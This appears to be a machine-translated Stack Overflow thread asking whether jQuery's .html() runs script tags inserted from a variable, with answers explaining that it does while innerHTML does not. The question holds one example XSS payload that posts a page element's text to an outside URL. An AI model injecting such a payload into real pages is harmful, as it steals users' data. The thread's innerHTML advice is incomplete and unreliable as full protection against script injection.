2012-08-17 192 views
1

可能重複:
html() vs innerHTML jquery/javascript & XSS attacks是jQuery.html()危險嗎?

是jQuery.html()危險嗎?

$("#id").html("<span>"+ variable + "</span>"); 

就像上面的例子中,如果變量將具有以下值:

"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {}) </script>" 

請問腳本來執行?如果有,有什麼辦法讓變量包含正常的html標籤,但不包含腳本?

編輯:添加腳本標記字符串

+2

你試過了嗎?發生了什麼? – epascarello 2012-08-17 16:51:24

+1

'$ .html()'不執行'eval'。 'eval'是觸發腳本執行所必需的。 – Ohgodwhy 2012-08-17 16:51:54

+1

@Ohgodwhy你是錯的。這很容易測試。打開你的開發者控制檯並執行'$('body div:last')。html($(「」));' – meagar 2012-08-17 17:01:50

回答

3

是,該腳本將被執行。

http://jsfiddle.net/9ybUJ/2/

.html()隱含俯瞰任何腳本元素和evals他們。這與.innerHTML相反,它永遠不會執行html內部的腳本。

+0

好吧,但是如何防止腳本執行?你的意思是.innerHTML的實際DOM屬性?所以$(元素).attr(「innerHTML」,變量)? – Hoffmann 2012-08-17 17:28:31

+0

@霍夫曼我的意思是財產。 '$(element).prop(「innerHTML」,html)''或'element.innerHTML = html' – Esailija 2012-08-17 18:03:11